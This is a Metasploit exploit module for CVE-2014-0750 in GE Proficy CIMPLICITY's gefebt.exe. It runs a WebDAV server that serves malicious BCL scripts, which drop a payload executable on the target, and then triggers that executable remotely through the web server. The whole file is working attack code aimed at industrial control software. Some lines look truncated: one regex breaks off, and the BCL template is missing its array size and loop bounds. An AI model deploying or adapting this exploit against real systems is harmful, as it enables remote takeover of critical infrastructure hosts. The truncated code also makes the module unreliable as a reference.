require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote 
  Rank = ExcellentRanking 
  
  include Msf::Auxiliary::Report 
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient 
  include Msf::Exploit::Remote::HttpServer::HTML
  
  def initialize 
    super( 
      'Name'          => 'GE Proficy CIMPLICITY gefebt.exe Remote Code Execution', 
      'Description'   => %q{ 
        This module abuses the gefebt.exe component in GE Proficy CIMPLICITY, reachable through the 
        CIMPLICIY CimWebServer. The vulnerable component allows to execute remote BCL files in
        shared resources. An attacker can abuse this behaviour to execute a malicious BCL and
        drop an arbitrary EXE. The last one can be executed remotely through the WebView server. 
        This module has been tested successfully in GE Proficy CIMPLICITY 7.5 with the embedded 
        CimWebServer. This module starts a WebDAV server to provide the malicious BCL files. When 
        the target hasn't the WebClient service enabled, an external SMB service is necessary. 
      }, 
      'Author'      => [ 
        'amisto0x07', 
        'Z0mb1E', 
        'juan vazquez' 
      ], 
      'References'  => 
        [ 
          [ 'CVE', '2014-0750'], 
          [ 'ZDI', '14-015' ], 
          [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-023-01' ] 
        ], 
      'Stance'         => Msf::Exploit::Stance::Aggressive, 
      'Platform'    => 'win', 
      'Targets'     => 
        [ 
          [ 'GE Proficy CIMPLICITY 7.5 (embedded CimWebServer)', { } ] 
        ], 
      'DefaultTarget'  => 0, 
      'Privileged'     => true, 
      'DisclosureDate' => 'Jan 23 2014'
    ) 
    register_options( 
      [ 
        Opt::RPORT(80), 
        OptString.new('URIPATH',   [ true, 'The URI to use (do not change)', '/' ]), 
        OptPort.new('SRVPORT',     [ true, 'The daemon port to listen on (do not change)', 80 ]), 
        OptString.new('UNCPATH',   [ false, 'Override the UNC path to use.' ]), 
        OptBool.new('ONLYMAKE',    [ false, 'Just generate the malicious BCL files for using with an external SMB server.', true ]), 
        OptString.new('TARGETURI', [true, 'The base path to the CimWeb', '/']) 
      ], self.class) 
  end
  
  def on_request_uri(cli, request) 
    case request.method 
      when 'OPTIONS'
        process_options(cli, request) 
      when 'PROPFIND'
        process_propfind(cli, request) 
      when 'GET'
        process_get(cli, request) 
      else
        vprint_status("#{request.method} => 404 (#{request.uri})") 
        resp = create_response(404, "Not Found") 
        resp.body = ""
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp) 
    end
  end
  
  def process_get(cli, request) 
    if request.uri =~ /
      print_status("GET => Payload") 
      data = @bcls[$1.to_i] 
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) 
      return
    end
  
    
    vprint_status("GET => DATA (#{request.uri})") 
    data = rand_text_alpha(8 + rand(10)) 
    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) 
  end
  
  
  
  
  def process_options(cli, request) 
    vprint_status("OPTIONS #{request.uri}") 
    headers = { 
      'MS-Author-Via' => 'DAV', 
      'DASL'          => '<DAV:sql>', 
      'DAV'           => '1, 2', 
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', 
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 
      'Cache-Control' => 'private'
    } 
    resp = create_response(207, "Multi-Status") 
    headers.each_pair {|k,v| resp[k] = v } 
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp) 
  end
  
  
  
  
  def process_propfind(cli, request) 
    path = request.uri 
    print_status("Received WebDAV PROPFIND request") 
    body = ''
  
    if (path =~ /\.bcl$/i) 
      print_status("Sending BCL multistatus for #{path} ...") 
      body = %Q|<?xml version="1.0"?> 
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"> 
<a:response> 
</a:response> 
</a:multistatus> 
| 
    elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) 
      
      print_status("Sending directory multistatus for #{path} ...") 
      body = %Q|<?xml version="1.0" encoding="utf-8"?> 
<D:multistatus xmlns:D="DAV:"> 
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> 
<D:href>
<D:propstat> 
<D:prop> 
<lp1:resourcetype><D:collection/></lp1:resourcetype> 
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> 
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> 
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag> 
<D:lockdiscovery/> 
<D:getcontenttype>httpd/unix-directory</D:getcontenttype> 
</D:prop> 
<D:status>HTTP/1.1 200 OK</D:status> 
</D:propstat> 
</D:response> 
</D:multistatus> 
| 
    else
      print_status("Sending 404 for #{path} ...") 
      send_not_found(cli) 
      return
    end
  
    
    resp = create_response(207, "Multi-Status") 
    resp.body = body 
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp) 
  end
  
  def check 
    uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe") 
    uri << "?"
  
    res = send_request_cgi('uri' => uri) 
  
    
    
    if res and res.code == 200 and res.to_s =~ /Usage.*gefebt\.exe/ 
      return Exploit::CheckCode::Detected 
    end
  
    Exploit::CheckCode::Unknown 
  end
  
  def exploit 
    @extensions = "bcl"
    @bcls= [] 
    @total_exe = 0
  
    setup_resources 
  
    make_bcls 
  
    print_status("BCL's available at #{@exploit_unc}#{@share_name}\\#{@basename}{i}.bcl") 
  
    unless datastore['UNCPATH'].blank? 
      @bcls.each_index { |i| file_create("#{@basename}#{i}.bcl", @bcls[i]) } 
      if datastore['ONLYMAKE'] 
        print_warning("Files created, remember to upload the BCL files to the remote share!") 
        print_warning("Once ready set ONLYMAKE to false") 
      else
        exploit_bcl 
      end
      return
    end
  
    super
  end
  
  def setup_resources 
    if datastore['UNCPATH'].blank? 
      
      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] 
      @basename = rand_text_alpha(3) 
      @share_name = rand_text_alpha(3) 
      @exploit_unc  = "\\\\#{my_host}\\"
      @exe_filename = "#{rand_text_alpha(3 + rand(4))}.exe"
      unless datastore['SRVPORT'].to_i == 80 && datastore['URIPATH'] == '/'
        fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') 
      end
    else
      
      if datastore['UNCPATH'] =~ /(\\\\[^\\]*\\)([^\\]*)\\([^\\]*)\.bcl/ 
        @exploit_unc = $1
        @share_name = $2
        @basename = $3
        
        
        @exe_filename = "ge_pld.exe"
      else
        fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be \\\\host\\shared_folder\\base_name.blc') 
      end
    end
  end
  
  def make_bcls 
    exe = generate_payload_exe 
    
    exe << "\x00" until exe.length % 4 == 0
    longs = exe.unpack("l*") 
    offset = 0
  
    
    
    while longs.length > 0
      parts = longs.slice!(0, 16000) 
      @bcls << generate_bcl(parts , offset) 
      offset += parts.length * 4
    end
  end
  
  def generate_bcl(slices, offset) 
    bcl_payload = ""
  
    slices.each_index do |i| 
      bcl_payload << "s(#{i + 1}) = #{slices[i]}\n"
    end
  
    <<-EOF
Option CStrings On 
  
Sub Main() 
  Open "#{@exe_filename}" For Binary Access Write As #1
  Dim s(
  
  
  For x = 1 To 
    t = x - 1
    Put 
  Next x 
  
  Close 
End Sub 
    EOF
  end
  
  def execute_bcl(i) 
    print_status("#{peer} - Executing BCL code #{@basename}#{i}.bcl to drop final payload...") 
  
    uri = normalize_uri(target_uri.to_s, "CimWeb", "gefebt.exe") 
    uri << "?#{@exploit_unc}#{@share_name}\\#{@basename}#{i}.bcl"
  
    res = send_request_cgi('uri' => uri) 
  
    
    
    if res and res.code == 200 and res.to_s =~ /(^Error.*$)/ 
      print_error("#{peer} - Server answered with error: $1") 
      fail_with(Failure::Unknown, "#{peer} - Server answered with error") 
    elsif res and res.code == 200 and res.to_s =~ /No such file or directory/ 
      fail_with(Failure::BadConfig, "#{peer} - The target wasn't able to access the remote BCL file") 
    elsif res and res.code == 200
      print_good("#{peer} - Answer has been successful") 
    else
      fail_with(Failure::Unknown, "#{peer} - Unknown error") 
    end
  end
  
  def exploit_bcl 
    @bcls.each_index do |i| 
      execute_bcl(i) 
    end
  
    print_status("#{peer} - Executing #{@exe_filename}...") 
    uri = normalize_uri(target_uri.to_s, "CimWeb", @exe_filename) 
    uri << "?"
  
    
    
    send_request_cgi({'uri' => uri}, 3) 
  end
  
  def primer 
    exploit_bcl 
    service.stop 
  end
  
  def file_create(fname, data) 
    ltype = "exploit.fileformat.#{self.shortname}"
    full_path = store_local(ltype, nil, data, fname) 
    print_good("#{fname} stored at #{full_path}") 
  end
  
end